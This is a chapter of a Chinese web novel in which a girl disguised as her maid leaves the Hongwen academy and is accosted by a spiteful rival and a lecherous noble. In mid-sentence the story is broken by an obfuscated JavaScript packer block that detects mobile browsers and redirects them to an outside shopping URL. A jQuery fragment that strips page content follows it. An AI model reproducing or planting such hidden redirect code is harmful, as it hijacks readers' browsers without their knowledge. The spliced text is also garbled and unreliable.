“然后呢?他说不给你就不要了?”玉出急切地追问。
“然后就没有然后了,我总不能扑上去明抢吧?”
就她那点力气,抢都抢不到。
何况裴子奚还像是突然抽风一样,走得比兔子还快。
“那怎么办?”
姜宛觉得她比自己这个丢了魂魄的正主还着急:“不能明抢,就只能智取了。”
她勾勾手指,示意玉出靠近点。
玉出一脸困惑地看着她:“这就是你说的智取?”
“智取要等机会的好不好!总之我先准备个假镯子,等时机一到就悄悄给他换了。”
“那也不用弄得这么麻烦吧,我替你去定做不就行了?”
姜宛随口胡扯:“那镯子上面有些细节,还是我自己去,你快点帮我易容。”
玉出将信将疑地和她去了更衣间,再出来时,两人的容貌衣服已经互换了。
“你可要快去快回,万一露馅就麻烦了。”
姜宛拍拍她的肩:“要相信你自己的易容技术,不会有人能看出来的。”
大概只有裴子奚那种阴险狡诈的狐狸精能看出来,不过他压根就没来弘文馆,大概是有什么要紧事。
玉出撇撇嘴:“我的易容技术当然没问题,我是怕给你丢脸。”
“没事我不怕,脸面这种东西本来就是用来的丢的,我走了!”
弘文馆的伴读其实就相当于是书童,告假比她自己的正主身份要容易得多。
姜宛随便编了个要回去拿书的借口,就顺利地出了弘文馆的大门。
其实她之前骗了玉出,定做假镯子只是顺带着要办的,她真正要去的地方还是东市。
上回马车的事还没敲定,就莫名其妙地被一匹疯马给搅和了,这回一定要办妥。
弘文馆离东市很远,她正在路边等着想雇辆马车,身后却传来了一声冷笑。
“这是急着去哪儿啊?”
这个声音……姜宛疑惑回头,果然看到了曹如意。
这次她身边没有带侍卫,而是跟了个身材高大的年轻人,看衣着颇为华贵,显然不是下人。
“我在弘文馆里就看到你鬼鬼祟祟地出来了,你主子没和你一起出来吗?”
听了这句问话,姜宛才意识到自己现在顶着玉出的脸,怪不得曹如意这么嚣张。
她懒得和这种欺软怕硬的智障搭话,转身就要走。
曹如意冲那青年使了个眼色,后者便大步上前一把抓住了姜宛的手腕。
姜宛回身一甩:“放手!”
那人真的放开了她,一双眼睛却不怀好意地在她脸上打了个转,又往下移去:“长得勉强凑合,这腰身倒是还可以。”
这是遇上流氓了?姜宛换了个方向,却被他又拦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988279|189377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住了。
“郑业可是郑国公的孙子,他能看上你,是你的福气。”曹如意又跳出来刷存在感了。
“这福气给你好了。”姜宛毫不掩饰地翻了个白眼。
郑业下意识地看了看曹如意,口水差点掉下来。
毕竟和清汤寡水的平民少女相比,明丽娇艳的将门千金更合他胃口。
曹如意也被他那毫不掩饰的流氓表情恶心到了:“擦擦你口水!不记得我刚才跟你说过什么了?”
“记得记得,我把这小丫头收了当侍妾,再带去弘文馆恶心青阳家那个野丫头,你就答应陪我去游湖。”
“蠢货,不是什么都要说出来的!”曹如意气得跺脚。
姜宛忍不住笑了,这二位看上去还真是绝配,在蠢这方面难分上下。
能想出这么粗暴又拙劣的报复办法的,也只有曹如意这个没脑子又被惯坏了的女人。
曹如意被她的笑容刺痛了,不管不顾地推了郑业一把:“赶紧带走!要是连这么个小丫头都对付不了,你以后就别出现在我面前!”
郑业立刻往姜宛这边走过来:“不想吃苦头,就乖乖跟我走吧。”
“等等,”姜宛抬手示意他先别着急:“你也在弘文馆读书?”
“那当然!”郑业毫不犹豫地承认了。
姜宛嘴角勾起一抹笑意:“简直是……天赐良机。”